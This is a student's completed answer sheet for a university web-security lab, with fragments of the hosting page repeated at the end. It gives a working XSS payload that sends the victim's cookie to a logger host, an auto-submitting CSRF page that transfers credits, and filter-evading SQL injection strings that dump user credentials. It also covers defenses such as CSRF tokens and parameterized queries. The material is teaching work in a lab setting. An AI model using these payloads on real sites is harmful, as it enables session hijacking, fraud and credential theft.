Lab W

Lab W - Web Security
sudo lxc-start -n webattack
2.1 Cross-site Scripting: Cookie Theft
Search in user form:
"> <script> var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET","https://dasak-vm-lab-server.eecs.kth.se/logger/log.php
?to=163&payload=" + document.cookie + "&send_submit=Store",true);
xmlhttp.send();
xmlhttp.onreadystatechange = function(){
if (xmlhttp.readyState == 4 ) {
window.location.replace("http://zoobar/users.php");
}
}
</script>"
Cookie data:
ZoobarLogin=YToyOntpOjA7czo2OiJhZGRlbjgiO2k6MTtzOjMyOiJiY2JlNGU0MjhkOGFiNmF
kNzEyNmYxYmZjNDZiMzE2MyI7fQ%3D%3D
What is the Same Origin Policy? How does the reflected XSS attack bypass this policy?
It is a critical security mechanism that restricts how a document or script loaded by one
origin can interact with a resource from another origin. Two URLs have the same origin if they
share the same protocol, port and host. Another way to look at it is: A script from one page can
only access data from another page if they are of the same origin. So the same origin policy is
meant to prevent a malicious script on one page from obtaining sensitive info from another
page, it limits data access.
The reflected XSS attack bypasses this policy because it inserts the malicious script
inside the same origin and it is executed without limitation since it is from inside the origin and
therefore not prevented by the same origin policy.
A web application vulnerable to reflected XSS will send the received unvalidated input
back to the user (e. g., in a search result page). How can you test for the reflected XSS
based on this behavior? Hint: sending the string <script>alert("XSS
works");</script> via an input field might not suffice. Look at the source code of the
returned page and check how and where exactly your input script is reflected.
So the input is reflected both on line 27 and 35. On line 27 it’s reflected as an input value for a
user search field, you have to make sure the script is outside of <input> for it to work. On line
35 the input value from line 27 is used and reflected as part of a string that displays the user’s
zoobars. We’re already inside a script and since we use <script/> in our input it will end the
script before running the rest of the code and could instead display it on the website.
Which is the vulnerable input element on the website?
The search field. You can embed a script into your input for the website to run and in doing so it
gives you back data, in this case the user’s cookie.
How do you use the log script to send data to the logger? Provide an example in
JavaScript language.
From the home page, write <script> console.log(document.cookie)</script> in your

profile text
Which HTML DOM object has a cookie property?
document.cookie,
Document object has a cookie property?
(When a web page is loaded, the browser creates a HTML DOM (document object model)
object of a page.)
The victim is not supposed to see any error messages. What does the following script
do? document.getElementById("x").style.display = ...;
If the statement is equal to “none” It prevents the element x to be displayed. In general, the
script specifies how the element should be displayed in the document based on the keyword
after the equal sign.
You can also try using a location object. How do you use it to hide the error messages?
The command window.location.replace("http://zoobar/users.php") can be used to replace the

current url with the one specified and therefore the page is reloaded and all errors will
disappear.
2.2 Cross-Site Request Forgery: Stealing Zoobar Credits
Solution:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3. org/TR/html4/loose.dtd">
<HTML>
<div id="header">
<div id="main" class="centerpiece">
<script>
function redirect(){
window.location.href="https://kth.instructure.com/courses/35479";
}
</script>
<table>
<tr><td class=main>
<body onload="document.transferform.submit()">
<form method=POST name=transferform target="DD2395"
action="http://zoobar/transfer.php">
<input name=zoobars type=hidden value="10" size=5>
<input name=recipient type=hidden value="adden8" size=10>
<input name="submission" type="hidden" value="Send">
</form>
</body>
</td></tr>
</table>
</div>
<script type="text/javascript" src="zoobars.js.php"></script>

<iframe name="DD2395" onload="redirect()"></iframe>
</BODY>
</HTML>
Describe the browser behavior and problems with session management that make XSRF
possible.
XSRF(CSRF) is possible when an authorized user to a website is tricked into executing
unwanted actions by an attacker. This happens when web applications perform actions based
on input from authenticated users without requiring the user to authorize the specific action.
Session cookies included through the user's browser make the web (HTTP) request seem valid
and trustworthy to the web server.
Look at the source code and the HTTP headers during the transfer of Zoobars. Your
crafted request should look exactly like the original. What information (input) is being
sent? What type of request should you craft, GET or POST?
The input being sent is the amount of zoobars being transferred and the recipient of said
transfer. Because these changes need to be updated in the server it’s a POST request.
One way to submit the form using JavaScript is to call the button’s click method:
document.getElementById('mybutton').click(); Describe some other alternative
manner to submit the form with an example.
Using this line to submit the form automatically:
<body onload="document.forms[0].submit()">
You can also use iframes to hide your attack and submit the form in a hidden iframe
instead of the current page. Describe at least two methods on how you can hide iframes.
Iframe lets you embed an independent HTML document with its browsing context inside another
HTML page.Thus, it will be isolated from the JavaScript and CSS of the original page. So this
provides a measure of separation between your application and the iframe content and from the
victims perspective it won't be possible to see the malicious code executed on the original page.
We use <iframe name="DD2395" onload="redirect()"></iframe> to call the function

redirect from the iframe which redirects us to KTHs webpage using a location object. Another
way would be to directly insert the URL of the page we want to embed: <iframe
src="https://kth.instructure.com/courses/35479" name="DD2395"> .
Describe some other technique, besides hidden iframes, to make your attack invisible to
the victim.
The object tag is an alternative to the iframe tag. The object tag is used to display another
webpage in our webpage (or videos, images etc). The object tag has an attribute data where we
can define the URL of the web page to be embedded. The same goes for the embed tag.
2.3 Protection against XSS and XSRF
Describe how to prevent XSS flaws in a web application.

Making sure to validate input on arrival. You can validate input of a url by checking if it starts
with a safe protocol like HTTP/HTTPS, otherwise someone could try exploiting the website with
harmful protocols like javascript. You could also validate input by checking if the type of input is
correct or it only contains an expected set of characters. You can use encoding to prevent XSS
flaws that make output exploitable, so specific characters that aren’t whitelisted should be
converted to HTML entities.
What can be done by a user (at the browser level) to protect against XSRF? Name at least
two alternatives.
Users can sign out of websites when they’re finished with them or make sure to clear browser
cookies regularly.
How can you prevent XSRF vulnerabilities on the web application (server) level?
Using XSRF(CSRF) tokens for all state changing requests that hold unique random values.
These tokens prove the request is sent from a link or form generated by the server to the client.
The server sends a form and includes a unique CSRF token that it expects to get back. When
the client responds by submitting the form it has to have the same unique CSRF token since the
server will compare the one it sent out and the one it received from the client.
3.2 SQL injection: Wraithmail
Briefly describe the attempted attack of the hacker that you are tracking (no details, just
the rough idea).
The hacker is sending an email containing a link that probably contains something malicious
that it's trying to make you download on your computer by clicking on the link.
What username was used for the attack and what was the logged IP address?
Note that the “intercept is on” must be clicked in and that we must manually forward each
request to enter the address in the browser.
First we look at the email “trace job” and we paste the header in the referer field (Referer:
http://wraithbox:8080/htmlisland.jsp?messageid=2849902671918618960) into the browser we
access the email message directly. We see that it is from [email protected]. Wraithmail
also has a login history feature, so by passing http://wraithmail:8080/history.jsp?id=algo into the
browser we can see the log in history of a user, including the IP address. We will use BURP to
intervene, so when we go to the login history page, we go to BURP where we can see the
request GET /history.jsp?id=algo HTTP/1.1. Instead of forwarding this request, we
change the id algo to the username of [email protected], which is rwilson: GET
/history.jsp?id=rwilson HTTP/1.1 and then we forward it, so we get the login history of
rwilson which is the attacker instead. We see that the IP address of the attacker is 70.86.70.33.
We also see that the abuse contact is abuse@cloaknet, and that the date of the attack was
from 09/07/01
So the username used is rwilson and the logged IP address is 70.86.70.33
3.3 SQL injection: Cloaknet
Solution:
We don't have an account on cloaknet so by clicking on “no account” we get login credentials for
their demo user, userid:demo, password:demo. When we login, a POST request is sent to
“proxy.jsp” page. After forwarding the POST request, a GET request is being made to
“proxypanel.jsp” that is the page we land in. We look at the cookies of the page in burp: Cookie:
JSESSIONID=23C0264C7BC7A0A75E062BA9AD409B59; userid=71934.
Our goal is to list all user credentials, so we want to insert an SQL statement to the code that
would fetch these for us. We take a reasonable guess that there is a table named users,
containing this information. We replace the userid=71934 in BURP with the following command:
userid=71934/**/unUNIONion/**/seSELECTlect/**/*/**/from/**/users
The reason the query has extra characters and signs is because we want to bypass words that
are blacklisted, like UNION and SELECT.
All users are listed with username, password and id:
If we log in to the listed accounts we see that user “thursday” has sent an email from
86.5.223.42@GGHB to wraithmail:8080/send.jsp on date 09/7/01. The data matches with the
date of the attack, it was from GGHB and it was targeted to wraithmail:8080/send.jsp.
Name at least 3 ways (i.e., ”methods” in terms of the HTTP protocol) that are used to
transfer data from the browser to the web application (on the webserver) and that can be
utilized to perform injection attacks.
Besides SQL injections, the attacker can also use command injection to transfer data from
browser to web app. The attacker inserts system commands instead of pieces of code or
scripts. This means system commands can be executed by the host OS with the privileges of
the app. This could result in an explosion of files on the server and changing user passwords
etc.
The attacker could use Mail command injection to exploit email servers etc. The attacker can
send email messages with injected commands and if the server is vulnerable, it could respond
to the requests in the injection which could allow the attacker to override server restrictions (this
is mainly done in webmail apps).
Insertion of carriage return and line feed characters (CRLF) injection is when an attacker injects
a CRLF char sequence where it is not expected. Invisible characters indicate the end of a line or
the end of a command in many traditional internet protocols, such as HTTP. This lets the
attacker add extra headers to HTTP responses. This can also be done directly from the
browser.
A database has many different data types, but all of them can still be classified into two
groups based on how they are represented in the SQL statements. Name these groups.
They can be separated into String data types and Numeric data types.
One of the values that goes as input to the SQL query in Cloaknet is user (the username
that you type on the login page). Name two other values that might be used as input in
the SQL queries.
Hint 1: These two values are sent to the server with two different ”methods” (see the previous
question).
Hint 2: Look at the two HTTP requests sent to the server when logging in.
The session token userid and input pass(password).
What do you think how many SQL queries are issued, when you login to the website?
What inputs can these queries use? How do you think these SQL queries look like? Write
them down as precise as possible (e.g. using SQL syntax/pseudo-code).
One for checking if username and password is correct, and one for displaying the information on
the website?
So two maybe?
SELECT userid from users where user = ? AND password = ?
SELECT
Check whether the Cloaknet web application’s inputs are vulnerable to SQL injection or
not. How do you do that? Give two examples.
We can use union based sql injections to add as SQL statements into different variables (user
and pass) in the GET request before it’s sent. Because the input variables are not
parameterized, it’s a vulnerability that we can exploit.
It’s vulnerable to error-based SQL injection since you could obtain knowledge from error
messages like what SQL database is being used. In this case MySQL.
https://www.spiceworks.com/it-security/application-security/articles/what-is-sql-injection/
Were you able to cause an SQL error or an HTTP error (500) to be displayed on the
webpage? How did you do it? What information did you learn? What kind of database
and web server are being used?
Yes, by inserting random chars in the userid cookie we caused an error 500 to occur. From this
we see that the website uses SQL and the database MySQL, and we realize that we can't just
inject code since there are filters. Therefore we must somehow mask our injected SQL code.
Why is it useful to know which database is used?
If the attacker knows which database is used, it can adjust its injected code to fetch data from it.
Now we know that the website is using a database where we can use SQL statements to get
data from it.
When you try to inject a meaningful SQL string, a first obstacle you might encounter is
that white space characters are treated as delimiters in the cookie string in the HTTP
header. How can you anyways use space characters in a cookie value?
We can use comments: /**/ to bypass spaces in the cookie string.
All inputs are filtered! The filter escapes some characters and removes some words (e.g.
SELECT). Name at least four techniques to bypass filters in general (with examples).
Hint: check the cheat-sheets mentioned in the introduction.
Adding extra chars around the keywork.For example, instead of writing UNION, we wrote
unUNIONion so that the command would not get detected and removed.
Adding inline comments can help bypass filters.
Another technique is to use string related operations, eg concatenation. These can be quite
useful to build up injections which are not using any quotes, bypass any other black listing or
determine back end database.
Using CHAR() and CONCAT() to generate a string without quotes, ex: SELECT
CONCAT(CHAR(75),CHAR(76),CHAR(77)) This will return ‘KLM’.
https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/
Table and column names are very predictable in this lab. What could be the name of the
table containing all usernames and passwords?
It could be named “users”.
The UNION operator is used to combine output from several SELECT statements. What
requirements should these statements meet in order to be “unioned”? What do you have
to do if the tables you want to union do not have the same number of columns?
Every SELECT statement within UNION must have the same number of columns. The columns
must also have similar data types. The columns in every SELECT statement must also be in the
same order.
You could add columns to the statement with less columns and set them as null.
You should be able to infer the number of columns used in the query statement from the
output you see on the page. Sometimes, though, not everything is shown, and then it is
important to find out the number of columns. How can it be done? Provide an example.
You can simply retrieve the information from the database with the count(*) function and apply it
in the statement you are making.
Example:
You can union tables even without specifying column names. How can you include all
columns of a table in the UNION statement without explicitly naming them?
Use a * to pick all columns from a table.
The command we used did this:

userid=-71934/**/unUNIONion/**/seSELECTlect/**/*/**/from/**/users
What are the username and the password of the attacker? How did you get the list of
usernames and passwords? How did you know which one was the attacker?
We dont have an account on cloaknet so by clicking on “no account” we get login credentials for
their demo user, userid:demo, password:demo. When we login, a POST request is sent to
“proxy.jsp” page. After forwarding the POST request, a GET request is being made to
“proxypanel.jsp” that is the page we land in. We look at the cookies of the page in burp: Cookie:
JSESSIONID=23C0264C7BC7A0A75E062BA9AD409B59; userid=71934.
Our goal is to list all user credentials, so we want to insert an SQL statement to the code that
would fetch these for us. We take a reasonable guess that there is a table named users,
containing this information. We replace the userid=71934 in BURP with the following command:
userid=-71934/**/unUNIONion/**/seSELECTlect/**/*/**/from/**/users
The reason the query has extra characters and signs is because we want to by pass words that
are blacklisted, like UNION and SELECT.
If we log in to the listed accounts we see that user “thursday” with password: “hydrazine” has
sent an email from 86.5.223.42@GGHB to wraithmail:8080/send.jsp on date 09/7/01. The data
matches with the date of the attack, it was from GGHB and it was targeted to
wraithmail:8080/send.jsp.
3.4 SQL injection: Protection against SQL injection
Describe how parameterized queries help protect against SQL injection. What other
protection techniques can be used on the application’s code level?
Parameterized queries are a feature used to pre-compile SQL code, separating it from data. It is
also called prepared statements and it ensures that an attacker is not able to change the intent
of a query, even if SQL commands are inserted by an attacker. The attacker can only put in
values that go into the variable and not interfere in the overall statement.
Other techniques are:
-Allow-list Input Validation
This technique is used if parameter values are used for targeting different table names and
column names, then the parameter values should be mapped to the legal/expected table or
column names to make sure unvalidated user input doesn't end up in the query.
-Escaping All User Supplied Input
This technique is to escape user input before putting it in a query.
https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
What is a stored procedure? Describe how it protects against SQL injection. What other
protection techniques can be used at the database level?
Stored procedures are a sequence of instructions in the SQL language. It lets you store
sequences of queries frequently applied to your model, and share the processing load with the
application layer. It protects against SQL injections through limiting what the attacker can do in
the query, in this case the attacker can only input values in stored variables. This prevents the
attacker from injecting malicious sql queries.
What combination of protection techniques would you choose, to mitigate the SQL
injection threat?
Using parameterized queries could be used to protect against the attack on CloakNet since we
injected data containing an sql query that isn't pre-compiled. We are trying to change the intent
of the query which prepared statements prevent. Allow input validation could also be used for
this.
In the first situation, we change the cookie value to enable an attack. To mitigate this, we can
make sure to validate the cookie, to make sure it's legit and intact. You could for example add
two cookies, one with username, not encrypted. And the other one, consisting of the username
+ password + random salt all encrypted.This way you can validate your user and not have to
worry about people changing it (because they need to know the password + the random salt +
the hashing function).

Lab W

Uploaded by

Copyright:

Available Formats

Lab W

Uploaded by

Document Information

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Lab W

Uploaded by

Copyright:

Available Formats

Lab W - Web Security

sudo lxc-start -n webattack

2.1 Cross-site Scripting: Cookie Theft

Search in user form:

"> <script> var xmlhttp = new XMLHttpRequest();

Which is the vulnerable input element on the website?

From the home page, write <script> console.log(document.cookie)</script> in your

Which HTML DOM object has a cookie property?

Document object has a cookie property?

The command window.location.replace("http://zoobar/users.php") can be used to replace the

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

<script type="text/javascript" src="zoobars.js.php"></script>

Using this line to submit the form automatically:

We use <iframe name="DD2395" onload="redirect()"></iframe> to call the function

2.3 Protection against XSS and XSRF

Describe how to prevent XSS flaws in a web application.

So the username used is rwilson and the logged IP address is 70.86.70.33

3.3 SQL injection: Cloaknet

The session token userid and input pass(password).

SELECT userid from users where user = ? AND password = ?

Why is it useful to know which database is used?

We can use comments: /**/ to bypass spaces in the cookie string.

Hint: check the cheat-sheets mentioned in the introduction.

Adding inline comments can help bypass filters.

It could be named “users”.

Use a * to pick all columns from a table.

The command we used did this:

3.4 SQL injection: Protection against SQL injection

Other techniques are:

-Allow-list Input Validation

This technique is to escape user input before putting it in a query.

You might also like